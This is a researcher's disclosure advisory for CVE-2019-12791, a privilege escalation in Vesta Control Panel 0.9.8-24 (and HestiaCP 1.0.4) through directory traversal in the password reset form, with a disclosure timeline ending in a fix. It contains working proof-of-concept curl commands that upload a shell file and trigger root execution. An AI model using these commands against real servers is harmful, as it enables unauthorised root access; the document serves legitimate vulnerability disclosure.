[CVE-2019-12791] Vesta Control Panel 0.9.8-24 — Privilege escalation in the password reset form

Andrea Cardaci — 12 August 2019

Discovered 2019-04-17
Author Andrea Cardaci
Product Vesta Control Panel
Tested versions 0.9.8-24
CVE CVE-2019-12791


The insufficient input sanitization used by the v-list-user shell utility allows to perform directory traversal and execute shell files as root anywhere in the file system but with a fixed file name.

This coupled with the legitimate ability of registered users to upload files in certain locations on the server grants an attacker the ability to perform privilege escalation from a registered user to root by simply requesting a password reset.

HestiaCP (an actively maintained fork of VestaCP) version 1.0.4 is also vulnerable but a fix has been promptly deployed in version 1.0.5.


The v-list-user script accepts an user name as an argument then evaluates the $VESTA/data/users/$user/user.conf file and prints some values:1

source $VESTA/data/users/$user/user.conf

The only check that is performed against the user name is is_object_valid 'user' 'USER' "$user" which basically checks that the path $VESTA/data/users/$user is a valid directory. So if ../../../../../tmp is passed as user name then the file /tmp/user.conf is evaluated.2

A registered user can upload files on the server using the /upload/ endpoint. The following is used to upload the proof script to /tmp/user.conf:

$ PHPSESSID=... # grab it from an authenticated regular user session
$ COMMAND='id > /usr/local/vesta/web/proof'
$ echo "$COMMAND" | curl -sk -o /dev/null \
    'https://target.com:8083/upload/?dir=/tmp' \
    -F 'files=@-;filename=user.conf'

It is then possible to invoke the v-list-user utility by requesting a password reset:

$ curl -k https://target.com:8083/reset/ -d 'user=../../../../../tmp'

In VestaCP the web server is run by the admin user and the password reset page executes the v-list-user script with sudo thus the user.conf is evaluated by root.

Check that the proof file is created in the web server root:

$ curl -k https://target.com:8083/proof
uid=0(root) gid=0(root) groups=0(root)


Disclosed to the VestaCP team.
MITRE assigns CVE-2019-12791 to this vulnerability.
Final warning via GitHub issue since emails have been ignored.
The VestaCP author asks one more week to fix the issue and publish a new release.
The VestaCP team fixes the vulnerability.
The VestaCP team releases version 0.9.8-25.
  1. $VESTA is usually set to /usr/local/vesta/

  2. Any other writable location can be used, e.g., the user home directory.